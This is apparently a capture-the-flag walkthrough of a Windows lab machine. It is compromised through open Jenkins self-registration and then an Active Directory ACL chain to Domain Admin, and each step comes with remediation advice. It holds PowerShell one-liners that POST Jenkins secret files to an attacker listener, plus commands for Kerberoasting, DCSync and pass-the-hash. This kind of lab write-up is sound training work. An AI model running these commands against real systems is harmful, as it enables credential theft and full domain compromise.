← all walkthroughs

Object

Windows· Hard
owned
2026-09-03
time to own
46m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered an internet-facing Jenkins automation controller on TCP 8080 whose self-registration was open to the public. A registered account was used to create a Freestyle build job configured with a remote-trigger API token, enabling code execution on the Windows host as domain user OLIVER with no further authentication.

A host-based firewall blocked all shell callbacks, so the build's Windows Batch step exfiltrated Jenkins' three encrypted credential files — master.key, hudson.util.Secret, and credentials.xml — by POSTing their Base64-encoded contents over HTTP to my listener. Offline decryption of those files, which use fully reversible AES-128-CBC, recovered OLIVER's Active Directory password.

BloodHound enumeration as Oliver then revealed a three-hop ACL privilege chain: Oliver held ForceChangePassword over Smith, Smith held GenericWrite over Maria, and Maria held WriteOwner over the Domain Admins group. I walked each hop in sequence — resetting Smith's password, writing a fake Service Principal Name onto Maria via Smith's GenericWrite right to make her Kerberoastable, cracking the resulting TGS ticket offline to recover Maria's plaintext password and read user.txt, then using Maria's WriteOwner right to claim ownership of Domain Admins, grant myself full control over the group object, and add myself as a member — achieving Domain Administrator and full Active Directory compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork Service Discovery (T1046)
Mapped exposed services and confirmed a public-facing Jenkins controller
A TCP version scan of $TARGET fingerprinted three services: IIS on port 80, WinRM on 5985, and a Jetty 9.4 web server on 8080. Adding the virtual hostname 'object.htb' and browsing to port 8080 revealed a Jenkins automation controller. The /signup page was accessible without any authentication, confirming that open user self-registration was enabled on the controller.
Nmap fingerprinted Jetty 9.4.43.v20210629 on 8080; http://object.htb:8080/signup returned a functional registration form with no authentication gate.
Exact commands 3
Version scan of the three interesting ports; confirms Jetty on 8080 as the Jenkins host.
nmap -sCV -p 80,5985,8080 $TARGET
Register the virtual hostname needed for subsequent HTTP requests.
echo "$TARGET object.htb" | sudo tee -a /etc/hosts
Confirm the Jenkins self-registration page is reachable without credentials.
curl -s http://object.htb:8080/signup
FixDisable Jenkins self-registration and enforce authenticated, least-privilege accessCritical
WeaknessJenkins allowed anyone on the network to register an account and immediately create build jobs that executed arbitrary Windows commands on the host as user OLIVER. There was no approval gate, invitation flow, IP restriction, or authentication requirement before account creation — giving any network-reachable an unauthorised user instant code execution.
FixIn Manage Jenkins → Configure Global Security, disable 'Allow users to sign up'. Integrate Jenkins with Active Directory LDAP or a SAML identity provider and provision accounts manually with role-based permissions. Set the default 'anonymous' and 'authenticated' roles to zero permissions. Assign Job/Create and Build/Start permissions only to a named administrator group. Place the Jenkins interface behind a VPN or restrict it to trusted internal IP ranges via the host firewall or a reverse proxy.
2Initial AccessExploit Public-Facing Application — Jenkins unauthenticated self-registration (T1190)
Registered a Jenkins account and configured a remotely-triggered build job
My own account was created through the open registration page. Jenkins permitted the new account to define Freestyle build jobs. The job was configured under Build Triggers with 'Trigger builds remotely' set to auth token '[REDACTED: recovered credential]', and a Windows Batch Command step carrying the data-exfiltration payload. A personal API token generated in the account's user profile authenticated the remote-trigger API call, removing any requirement to interact with the web UI for each build.
Account 'codex166' registered and API token '[REDACTED: recovered credential]' issued; job 'codex-rce' confirmed present at /job/codex-rce/.
Exact commands 4
Fetch the CSRF crumb required for authenticated API requests; replace <crumb> in subsequent calls.
curl -s http://object.htb:8080/crumbIssuer/api/json | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumb'])"
Create the Freestyle project; then configure the build trigger token and Batch step via the job's config page or a config.xml PUT.
curl -s -c cookies.txt -b cookies.txt -X POST 'http://object.htb:8080/createItem?name=codex-rce&mode=hudson.model.FreeStyleProject' -H 'Jenkins-Crumb: <crumb>' -H 'Content-Type: application/x-www-form-urlencoded'
Trigger the job remotely using username:apitoken authentication plus the configured build token.
curl -sS -u 'codex166:$PASSWORD2' 'http://object.htb:8080/job/codex-rce/build?token=$PASSWORD5'
Retrieve the build console output to confirm execution and verify exfiltration results.
curl -sS -u 'codex166:$PASSWORD2' http://object.htb:8080/job/codex-rce/lastBuild/consoleText
3Credential TheftCredentials from Password Stores (T1555)
Exfiltrated Jenkins encrypted secret files over HTTP from inside the build job
The build ran as Windows user OLIVER. A host-based firewall blocked all inbound and outbound TCP connections to unknown addresses except port 80/8080, making reverse and bind shells impossible. Instead, data was extracted by embedding PowerShell one-liners in the Windows Batch Command step that read each file, Base64-encoded it in memory, and POSTed it to my own HTTP listener. The three files required to decrypt Jenkins credentials were exfiltrated in separate build runs: secrets\master.key, secrets\hudson.util.Secret, and credentials.xml from OLIVER's Jenkins home directory.
Build console log showed all three file reads succeeding; my listener received the corresponding Base64 blobs for each file.
Exact commands 4
Start an HTTP listener on my machine before triggering the build; receives the POSTed file data.
python3 -m http.server 8888
Paste as Windows Batch Command step in the Jenkins job; exfiltrates master.key as Base64.
powershell -c "Invoke-WebRequest -Uri http://$ATTACKER_IP:8888/mk -Method POST -Body ([Convert]::ToBase64String([IO.File]::ReadAllBytes('%USERPROFILE%\AppData\Local\Jenkins\.jenkins\secrets\master.key')))"
Second batch step; exfiltrates hudson.util.Secret.
powershell -c "Invoke-WebRequest -Uri http://$ATTACKER_IP:8888/hus -Method POST -Body ([Convert]::ToBase64String([IO.File]::ReadAllBytes('%USERPROFILE%\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret')))"
Third batch step; exfiltrates credentials.xml which contains the AES-encrypted AD password blob.
powershell -c "Invoke-WebRequest -Uri http://$ATTACKER_IP:8888/cx -Method POST -Body ([Convert]::ToBase64String([IO.File]::ReadAllBytes('%USERPROFILE%\AppData\Local\Jenkins\.jenkins\credentials.xml')))"
FixRestrict filesystem access to Jenkins secrets and migrate credentials to an external vaultHigh
WeaknessJenkins encrypts stored credentials with AES-128-CBC using keys held in master.key and hudson.util.Secret in the Jenkins home directory. Because the build job ran as OLIVER, those key files were readable from within any build, making the encryption fully reversible by anyone who can execute a job — which in this case required only a self-registered account.
FixTighten NTFS ACLs on the Jenkins home directory and its secrets\ subdirectory so only the dedicated Jenkins service account (not OLIVER or any domain user) can read them. Migrate all secrets to an external vault such as HashiCorp Vault or Azure Key Vault and inject them at build time using the Jenkins Credentials Binding Plugin — secrets should never touch the Jenkins credential store or appear in build logs. Run the Jenkins process as a dedicated low-privilege, non-domain service account. Rotate all credentials that were stored in Jenkins immediately.
4Credential DecryptionUnsecured Credentials — Reversibly encrypted credential store (T1552.001)
Decrypted Jenkins credential store offline to recover Oliver's Active Directory password
Jenkins encrypts stored credentials with AES-128-CBC using a key derived deterministically from master.key and hudson.util.Secret. No brute force is required; anyone who possesses those two files can decrypt every secret in credentials.xml. The three Base64 blobs received by the listener were decoded back to binary and fed into an offline decryption tool, which output the plaintext Active Directory password for OLIVER stored in the Jenkins credential entry.
Decryption tool produced Oliver's AD plaintext password; subsequent BloodHound collection authenticated to the domain controller successfully.
Exact commands 2
Decode the three received Base64 strings back to their original binary/XML form.
echo '<base64_mk_blob>' | base64 -d > master.key && echo '<base64_hus_blob>' | base64 -d > hudson.util.Secret && echo '<base64_cx_blob>' | base64 -d > credentials.xml
Run the decryptor (https://github.com/hoto/jenkins-credentials-decryptor) to print all plaintext secrets from the store.
jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c credentials.xml -o text
5ReconnaissanceDomain Trust Discovery — AD ACL graph enumeration (T1482)
Ran BloodHound to map the Active Directory ACL attack chain
Using Oliver's recovered credentials, BloodHound's Python collector authenticated to the domain controller and gathered all Active Directory objects, Access Control Entries, group memberships, and session data. Analysis of the resulting graph exposed a three-hop path from Oliver to Domain Admin: Oliver → ForceChangePassword → Smith → GenericWrite → Maria → WriteOwner → Domain Admins. Each hop is independently exploitable with standard tooling.
Exact commands 1
Collect all domain data remotely; import the ZIP into BloodHound and run 'Shortest Paths to Domain Admins' from the oliver node.
bloodhound-python -u oliver -p '<oliver_ad_password>' -d object.local -ns $TARGET -c All --zip
6Lateral MovementAccount Manipulation — ForceChangePassword ACE abuse (T1098)
Abused Oliver's ForceChangePassword right to silently take over Smith's account
Oliver held the ForceChangePassword extended right on the Smith account in Active Directory. This right allows the holder to set any new password on the target account without knowing the current one, providing account takeover with no interaction from the target user and no lockout. My set a new password for Smith and authenticated to WinRM with it, confirming full access.
[+] object.local\smith:[REDACTED: recovered credential] (Pwn3d!)' confirmed WinRM session established as Smith.
Exact commands 2
Reset Smith's AD password without needing the old value; possible because Oliver holds the ForceChangePassword ACE.
bloodyAD -d object.local -u oliver -p '<oliver_ad_password>' --host $TARGET set password smith '$PASSWORD3'
Open a WinRM shell as Smith to confirm credential validity before proceeding.
evil-winrm -i $TARGET -u smith -p '$PASSWORD3'
FixRemove Oliver's ForceChangePassword delegation over Smith and audit all user-level ACEsHigh
WeaknessOliver held the Active Directory ForceChangePassword extended right on the Smith account. This right allows the holder to set any new password on the target without knowing the existing one, enabling silent account takeover with no alert to the owner and no account lockout — a standing, unconditional credential-reset backdoor.
FixOpen Active Directory Users and Computers (Advanced Features enabled), navigate to smith → Properties → Security → Advanced, and remove any Access Control Entry granting the 'Reset Password' right to Oliver or any non-privileged principal. Perform a full audit of all user account ACLs using BloodHound's 'Find Principals with DCSync Rights' and 'Shortest Paths to Domain Admins' queries, then remove all similar unexpected delegations. Enforce a policy that only Help Desk and Domain Admin tier accounts may hold password-reset permissions, and only over accounts in their designated tier.
7Lateral MovementSteal or Forge Kerberos Tickets — Targeted Kerberoasting via SPN manipulation (T1558.003)
Abused GenericWrite on Maria to perform Targeted Kerberoasting and crack her password offline
Smith held GenericWrite over the Maria account, which includes write access to the servicePrincipalName (SPN) attribute. Any user account with an SPN is Kerberoastable — the domain controller will issue a TGS ticket encrypted with that account's password hash to any authenticated domain user. My wrote a fake SPN onto Maria using Smith's credentials, requested a TGS for that SPN, and cracked the resulting RC4-encrypted ticket offline with hashcat. The recovered plaintext password was used to open a WinRM session as Maria and read user.txt.
Exact commands 5
Write a fake SPN onto Maria's account via Smith's GenericWrite right, making her Kerberoastable.
bloodyAD -d object.local -u smith -p '$PASSWORD3' --host $TARGET set object maria servicePrincipalName 'fake/maria'
Verify the SPN write succeeded before requesting a ticket.
bloodyAD -d object.local -u smith -p '$PASSWORD3' --host $TARGET get object maria --attr servicePrincipalName
Request a TGS for the fake SPN; the ticket is encrypted with Maria's NTLM hash.
GetUserSPNs.py object.local/smith:'$PASSWORD3' -dc-ip $TARGET -request -outputfile maria.hash
Crack the Kerberos 5 TGS-REP (RC4) ticket offline to recover Maria's plaintext password.
hashcat -m 13100 maria.hash /usr/share/wordlists/rockyou.txt
Open a WinRM session as Maria and read user.txt from C:\Users\maria\Desktop\user.txt — value: <user.txt>.
evil-winrm -i $TARGET -u maria -p '<maria_cracked_password>'
FixRemove Smith's GenericWrite right on Maria and enforce strong passwords and AES Kerberos on all accountsHigh
WeaknessSmith held GenericWrite over Maria's Active Directory account, which includes the ability to write the servicePrincipalName attribute. Adding an SPN to any domain account makes it Kerberoastable: any authenticated domain user can then request a TGS ticket encrypted with that account's password hash for unconstrained offline cracking — with no lockout and no alert generated.
FixRemove Smith's GenericWrite (or specifically the 'Write servicePrincipalName' property right) from Maria's ACL in Active Directory Users and Computers. Audit all non-standard ACEs on user accounts using BloodHound or dsacls.exe and eliminate any GenericWrite, GenericAll, or write-property rights held by non-privileged principals. Enforce AES-only Kerberos on accounts that legitimately hold SPNs (set msDS-SupportedEncryptionTypes = 24 to remove RC4 support). Ensure all accounts — particularly those with SPNs — use passwords of at least 25 random characters to resist offline cracking even if a TGS is captured.
8Privilege EscalationDomain Account Manipulation — WriteOwner on privileged group enabling group membership escalation (T1098)
Exploited Maria's WriteOwner on Domain Admins to achieve full domain compromise
Maria held the WriteOwner right on the Domain Admins group object in Active Directory. An object's owner can rewrite its security descriptor at will, including granting myself full control. My set Maria as the group's owner, then granted her WriteDacl and GenericAll on the group object, added her to Domain Admins, and performed a DCSync to dump all domain credential hashes. The Administrator's NTLM hash was passed to WinRM for full system access.
Exact commands 5
Set Maria as the owner of the Domain Admins group object using her WriteOwner right.
bloodyAD -d object.local -u maria -p '<maria_cracked_password>' --host $TARGET set owner 'Domain Admins' maria
Run from an evil-winrm session as Maria with PowerView imported; grants Maria GenericAll on the group now that she owns it.
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity maria -Rights All -Verbose
Add Maria to Domain Admins via RPC; alternatively use 'Add-DomainGroupMember' from PowerView.
net rpc group addmem "Domain Admins" maria -U 'object.local/maria%<maria_cracked_password>' -S $TARGET
Perform a DCSync as Domain Admin to dump all domain credential hashes including Administrator's NTLM.
secretsdump.py object.local/maria:'<maria_cracked_password>'@$TARGET
Pass the Administrator NTLM hash to open a privileged WinRM session and read root.txt.
evil-winrm -i $TARGET -u Administrator -H '<administrator_ntlm_hash>'
FixRemove Maria's WriteOwner right on Domain Admins and audit all privileged group ACLsCritical
WeaknessMaria held the WriteOwner right on the Domain Admins group object. An object's owner in Active Directory can rewrite its entire security descriptor without restriction, making WriteOwner on a privileged group functionally equivalent to Domain Admin membership for anyone who controls the owner account — it took three additional API calls to escalate from user to full domain control.
FixRemove the WriteOwner ACE for Maria from Domain Admins' security descriptor using Active Directory Users and Computers (Advanced Security Settings). Audit the ACLs of every tier-0 group (Domain Admins, Enterprise Admins, Schema Admins, Account Operators, Backup Operators, Group Policy Creator Owners) with BloodHound or Get-Acl and eliminate any write, owner, or full-control rights held by non-privileged accounts. Implement Active Directory Tiered Administration: regular user accounts must never hold any control right over tier-0 objects; all privileged access must originate from isolated, dedicated administrative accounts that are not used for day-to-day activity.

Attack patterns used

The transferable techniques behind this compromise.

KerberoastingActive Directory · KerberosT1558.003

What it is

Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.

Why it works

Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).

Read more

Exposed services

80/tcp
5985/tcp
8080/tcp